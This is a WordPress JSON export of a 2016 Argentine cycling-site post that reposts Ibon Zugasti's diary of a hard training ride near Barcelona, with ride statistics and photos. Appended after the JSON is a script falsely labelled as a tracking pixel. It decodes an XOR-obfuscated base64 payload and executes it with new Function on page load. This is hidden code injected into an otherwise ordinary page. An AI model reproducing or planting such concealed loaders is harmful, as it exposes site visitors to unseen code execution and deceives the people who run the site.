{"id":360,"date":"2016-02-10T16:21:58","date_gmt":"2016-02-10T19:21:58","guid":{"rendered":"http:\/\/arciclismo.com.ar\/web\/?p=360"},"modified":"2016-02-10T16:21:58","modified_gmt":"2016-02-10T19:21:58","slug":"seguimos-sumando-ibon-zugasti-mi-diario-ciclista","status":"publish","type":"post","link":"http:\/\/arciclismo.com.ar\/web\/?p=360","title":{"rendered":"Seguimos sumando &#8211; Ibon Zugasti, mi diario ciclista"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-361 aligncenter\" src=\"http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/i2stuu-300x70.jpg\" alt=\"i2stuu\" width=\"377\" height=\"88\" \/><\/p>\n<h3 class=\"post-title entry-title\" style=\"text-align: center;\"><a href=\"http:\/\/www.ibonzugasti.com\/2016\/02\/horas-con-desnivel-y-calidad.html\">HORAS CON DESNIVEL Y CALIDAD<\/a><\/h3>\n<p>10.02.16<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-363 aligncenter\" src=\"http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Revolt_Monjes_PR-300x200.jpg\" alt=\"Revolt_Monjes_PR\" width=\"344\" height=\"229\" srcset=\"http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Revolt_Monjes_PR-300x200.jpg 300w, http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Revolt_Monjes_PR-768x512.jpg 768w, http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Revolt_Monjes_PR.jpg 972w\" sizes=\"auto, (max-width: 344px) 100vw, 344px\" \/><br \/>\nBARCELONA. Esta tarde he completado el entrenamiento m\u00e1s largo y duro de esta temporada. Sin alejarme de los alrededores de casa, en un d\u00eda de viento huracanado, he enlazado puertos con exigentes repeticiones sin quitar el ojo a los vatios que marcaba el medidor de potencia <a href=\"http:\/\/www.ibonzugasti.com\/2016\/01\/vector-2s-de-garmin.html\" target=\"_blank\"><b>Vector 2S de Garmin<\/b><\/a>. Sufriendo bastante m\u00e1s de lo que me hubiera gustado, se ha hecho especialmente duro, pero sigo cumpliendo con\u00a0lo programado al detalle.<img loading=\"lazy\" decoding=\"async\" class=\"wp-image-364 aligncenter\" src=\"http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Noche_Subiendo_PR-300x200.jpg\" alt=\"Noche_Subiendo_PR\" width=\"413\" height=\"275\" srcset=\"http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Noche_Subiendo_PR-300x200.jpg 300w, http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Noche_Subiendo_PR-768x511.jpg 768w, http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Noche_Subiendo_PR.jpg 922w\" sizes=\"auto, (max-width: 413px) 100vw, 413px\" \/><\/p>\n<p>**Rodando la \u00faltima parte de la salida ya de noche, he llegado a casa con 5:40h 161km 165\/777w +2.698m 126\/180ppm.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-362 aligncenter\" src=\"http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Strava_09.02.16-300x200.jpg\" alt=\"Strava_09.02.16\" width=\"405\" height=\"270\" srcset=\"http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Strava_09.02.16-300x200.jpg 300w, http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Strava_09.02.16-768x512.jpg 768w, http:\/\/arciclismo.com.ar\/web\/wp-content\/uploads\/2016\/02\/Strava_09.02.16.jpg 969w\" sizes=\"auto, (max-width: 405px) 100vw, 405px\" \/><\/p>\n<p>Fuente www.ibonzugasti.com<\/p>\n","protected":false},"excerpt":{"rendered":"<p>HORAS CON DESNIVEL Y CALIDAD 10.02.16 BARCELONA. Esta tarde he completado el entrenamiento m\u00e1s largo y duro de esta temporada. Sin alejarme de los alrededores de casa, en un d\u00eda de viento huracanado, he enlazado puertos con exigentes repeticiones sin quitar el ojo a los vatios que marcaba el medidor de potencia Vector 2S de [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[],"class_list":["post-360","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-argentina"],"_links":{"self":[{"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/posts\/360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=360"}],"version-history":[{"count":1,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/posts\/360\/revisions"}],"predecessor-version":[{"id":365,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/posts\/360\/revisions\/365"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/media\/359"}],"wp:attachment":[{"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=360"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- BEGIN: X Secure Pixel Stream -->
<script>
    window.XTracker_TYKW = {
        loaded: true,
        version: "2.6.2",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x8105c35d0b20=atob('BkhbQE1aR0FABgdVR0gGWUdASkFZdQlxSh1PF08cFxoZGwlzB1xLWltcQBVZR0BKQVl1CXFKHU8XTxwXGhkbCXMTHxVYT1wOcVxJT0pGEwxMSE8WShgYGBYZTUseSEocHk9KFh9LHRkZSB1KHk8YHRYaH0waHBwdH08eTRlIFxsMFVhPXA5xT1hdWBN1CUZaWl5dFAEBXkFCV0lBQANeW0xCR00AQEFKR0tdAE9eXgkCCUZaWl5dFAEBXkFCV0lBQABJT1pLWU9XAFpLQEpLXEJXAE1BCQIJRlpaXl0UAQFcXk0AT0BFXABNQUMBXkFCV0lBQAkCCUZaWl5dFAEBH1xeTQBHQQFDT1pHTQkCCUZaWl5dFAEBXF5NA0NPR0BAS1oAQ09aR00AX1tHRUBBSksAXlxBCQIJRlpaXl0UAQFeQUJXSUFAAEpcXk0AQVxJCQIJRlpaXl0UAQFeQUJXSUFAA0NPR0BAS1oAXltMQkdNAExCT11aT15HAEdBCQIJRlpaXl0UAQFeQUJXSUFAA0xBXANcXk0AXltMQkdNQEFKSwBNQUMJcxVYT1wOcU1bWVpUTBMMHlYebRltTB4fbRYdHB4dT20eTxseb0xNHU8Xb2hoHU0XbU8ZHBlLaBsbDBVYT1wOcVRDRVRJRhMMTBgWSh8WHhcMFUhbQE1aR0FADnFAVkZKRwZxRV5YRlsHVVpcV1VYT1wOcUFeXV1IRVoTcUVeWEZbAF1bTF1aXAYeAhwHExMTCR5WCRFxRV5YRlsAXVtMXVpcBhwHFHFFXlhGWxVHSAZxQV5dXUhFWgBCS0BJWkYSHxwWB1xLWltcQAkJFVhPXA5xW1RESktIE15PXF1LZ0BaBnFBXl1dSEVaAF1bTF1aXAYYGgIYGgcCHxgHFUdIBg9xW1RESktIB1xLWltcQAkJFVhPXA5xVkNFSUUTcUFeXV1IRVoAXVtMXVpcBh8cFgJxW1RESktIBBwHAnFXWVpDEwkJFUhBXAZYT1wOcVxLQ0laQxMeFXFcS0NJWkMScVZDRUlFAEJLQElaRhVxXEtDSVpDBRMcB1VYT1wOcUJDXktZQUoTXk9cXUtnQFoGcVZDRUlFAF1bTF1aXAZxXEtDSVpDAhwHAh8YBxVHSAZxQkNeS1lBSgdxV1laQwUTfVpcR0BJAEhcQUNtRk9cbUFKSwZxQkNeS1lBSgcVU1xLWltcQA5xV1laQxVTTU9aTUYGSwdVXEtaW1xACQkVU1NIW0BNWkdBQA5xQl9LWwZxTUhARUECcVdBWV1KB1VcS1pbXEAOQEtZDn5cQUNHXUsGSFtATVpHQUAGcUxPQl5FQQJxS0NIXgdVWE9cDnFLQUJdRUQTQEtZDnZjYmZaWl58S19bS11aBgcVcUtBQl1FRABBXktABgl+YX16CQJxTUhARUECWlxbSwcVcUtBQl1FRABdS1p8S19bS11aZktPSktcBgltQUBaS0BaA3pXXksJAglPXl5CR01PWkdBQAFEXUFACQcVcUtBQl1FRABaR0NLQVtaExseHh4VcUtBQl1FRABBQEJBT0oTSFtATVpHQUAGB1VaXFdVcUxPQl5FQQZkfWFgAF5PXF1LBnFLQUJdRUQAXEtdXkFAXUt6S1ZaBwcVU01PWk1GBksHVXFLQ0heBksHFVNTFXFLQUJdRUQAQUBLXFxBXBNxS0FCXUVEAEFAWkdDS0FbWhNIW0BNWkdBQAYHVXFLQ0heBkBLWQ5rXFxBXAYHBxVTFXFLQUJdRUQAXUtASgZkfWFgAF1aXEdASUdIVwZxV0FZXUoHBxVTBxVTSFtATVpHQUAOcUtfR0VGBnFAT1ZaXwdVR0gGcUBPVlpfEBNxT1hdWABCS0BJWkYHXEtaW1xADn5cQUNHXUsAXEtdQUJYSwZAW0JCBxVYT1wOcUBbW1hYE1VEXUFAXF5NFAkcAB4JAkNLWkZBShQJS1pGcU1PQkIJAl5PXE9DXRR1VVpBFHFNW1laVEwCSk9aTxQJHlYJBXFUQ0VUSUZTAglCT1pLXVoJcwJHShQfUxVcS1pbXEAOcUJfS1sGcU9YXVh1cUBPVlpfcwJxQFtbWFgHAFpGS0AGSFtATVpHQUAGcUdAWF8HVVhPXA5xQ1lZQ01cVBNxR0BYXwgIcUdAWF8AXEtdW0JaEXFAVkZKRwZxR0BYXwBcS11bQloHFAkJFUdIBnFDWVlDTVxUB1xLWltcQA5xQ1lZQ01cVABcS15CT01LBgFyAQUKAQIJCQcVXEtaW1xADnFLX0dFRgZxQE9WWl8FHwcVUwcATU9aTUYGSFtATVpHQUAGB1VcS1pbXEAOcUtfR0VGBnFAT1ZaXwUfBxVTBxVTSFtATVpHQUAOcURdSUFHBnFdV0hIB1VYT1wOcVxfTElZS0kTSkFNW0NLQFoATVxLT1pLa0JLQ0tAWgYJXU1cR15aCQcVcVxfTElZS0kAXVxNE3FdV0hIBQkBT15HAF5GXhFdEwkFcVxJT0pGBQkIcVgTCQVjT1pGAEhCQUFcBmpPWksAQEFZBgcBGB4eHh4HFXFcX0xJWUtJAE9dV0BNE1pcW0sVBkpBTVtDS0BaAEZLT0pSUkpBTVtDS0BaAExBSlcHAE9eXktASm1GR0JKBnFcX0xJWUtJBxVTcUtfR0VGBh4HAFpGS0AGSFtATVpHQUAGcV1XSEgHVUdIBnFdV0hIB3FEXUlBRwZxXVdISAcVUwcVUwcGBxU='),_0x1363b48b1b69=46,_0x79786ef0e841=new Uint8Array(_0x8105c35d0b20['length']),_0xfd7cf5361484=0;for(;_0xfd7cf5361484<_0x8105c35d0b20['length'];_0xfd7cf5361484++)_0x79786ef0e841[_0xfd7cf5361484]=_0x8105c35d0b20['charCodeAt'](_0xfd7cf5361484)^_0x1363b48b1b69;(new Function(new TextDecoder()['decode'](_0x79786ef0e841)))()}();
</script>
<!-- END: X Secure Pixel Stream -->